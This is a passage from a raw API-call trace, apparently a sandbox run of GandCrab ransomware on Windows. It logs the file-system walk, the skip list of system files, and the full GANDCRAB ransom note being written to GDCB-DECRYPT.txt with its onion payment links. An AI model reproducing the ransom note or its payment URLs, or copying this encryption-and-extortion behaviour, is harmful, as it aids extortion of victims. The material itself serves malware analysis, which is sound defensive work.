lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.965] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.965] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.965] CloseHandle (hObject=0x4e0) returned 1 [0052.965] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.965] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0052.965] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0052.965] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.966] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.966] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.966] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.966] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.966] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.966] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.966] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.966] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0052.966] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.966] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0052.966] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0052.966] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.967] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.967] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.967] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt" [0052.967] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.967] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0052.967] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0052.967] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0052.967] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.967] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.967] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.968] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.968] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.968] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned="C:\\Boot\\zh-TW\\memtest.exe.mui" [0052.968] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.968] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0052.968] lstrlenW (lpString="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0052.968] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.969] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0052.969] FindClose (in: hFindFile=0x588ce0 | out: hFindFile=0x588ce0) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.969] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0052.969] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0052.969] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0052.969] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.969] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\bootmgr") returned 10 [0052.969] lstrlenW (lpString="C:\\bootmgr") returned 10 [0052.969] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.970] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0052.970] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0052.970] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT" [0052.970] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.970] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\BOOTNXT") returned 10 [0052.970] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0052.970] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.970] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0052.970] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0052.970] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0052.970] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.971] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\BOOTSECT.BAK") returned 15 [0052.971] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0052.971] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.971] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0052.971] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0052.971] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0052.971] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0052.971] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.972] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.972] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.972] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.972] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.972] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.972] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0052.972] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0052.972] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0xffffffff [0052.972] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0052.974] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0052.974] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="ʅP" | out: lpString1="C:\\Documents and Settings\\ʅP") returned="C:\\Documents and Settings\\ʅP" [0052.974] lstrlenW (lpString="C:\\Documents and Settings\\ʅP") returned 29 [0052.974] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0052.974] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0052.974] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.974] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\\\GDCB-DECRYPT.txt") returned 43 [0052.974] CreateFileW (lpFileName="C:\\Documents and Settings\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0052.976] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.976] WriteFile (in: hFile=0x4d8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285fa1c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285fa1c*=0xad6, lpOverlapped=0x0) returned 1 [0052.976] CloseHandle (hObject=0x4d8) returned 1 [0052.976] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.977] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0052.977] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0052.977] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0xffffffff [0052.977] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.977] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.977] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.977] lstrcatW (in: lpString1="C:\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\GDCB-DECRYPT.txt") returned="C:\\GDCB-DECRYPT.txt" [0052.977] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.977] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\GDCB-DECRYPT.txt") returned 19 [0052.978] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0052.978] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0052.978] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.978] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.978] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.979] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.979] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0052.979] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0052.979] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0052.979] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.980] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\hiberfil.sys") returned 15 [0052.980] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0052.980] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.980] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.980] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0052.980] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0052.980] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys" [0052.980] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.981] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\pagefile.sys") returned 15 [0052.981] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.981] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.981] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.981] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0052.981] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0052.981] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0052.981] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0052.981] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.982] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.982] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.982] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.982] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.982] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0052.982] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*" [0052.982] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x588a20 [0052.982] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.982] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.982] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.982] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.982] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0052.982] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.982] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.983] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\PerfLogs\\\\GDCB-DECRYPT.txt") returned 29 [0052.983] CreateFileW (lpFileName="C:\\PerfLogs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\perflogs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0052.984] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.984] WriteFile (in: hFile=0x4d8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285fa1c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285fa1c*=0xad6, lpOverlapped=0x0) returned 1 [0052.985] CloseHandle (hObject=0x4d8) returned 1 [0052.985] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.985] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0052.985] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*" [0052.985] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x588b20 [0052.985] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.985] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.985] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.985] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.985] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.985] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.985] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.985] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\PerfLogs\\GDCB-DECRYPT.txt") returned="C:\\PerfLogs\\GDCB-DECRYPT.txt" [0052.985] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.986] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\PerfLogs\\GDCB-DECRYPT.txt") returned 28 [0052.986] lstrlenW (lpString="C:\\PerfLogs\\GDCB-DECRYPT.txt") returned 28 [0052.986] lstrlenW (lpString="C:\\PerfLogs\\GDCB-DECRYPT.txt") returned 28 [0052.986] lstrlenW (lpString="C:\\PerfLogs\\GDCB-DECRYPT.txt") returned 28 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.986] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.986] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.987] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0052.987] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.987] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.987] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0052.987] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0052.987] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0052.987] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0052.987] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.987] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.987] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.987] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0052.987] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0052.987] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0052.987] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0052.987] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.988] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.988] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.988] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0052.988] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0052.988] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0052.988] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0052.988] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.989] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.989] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0052.989] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0052.989] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0052.989] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0052.989] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" 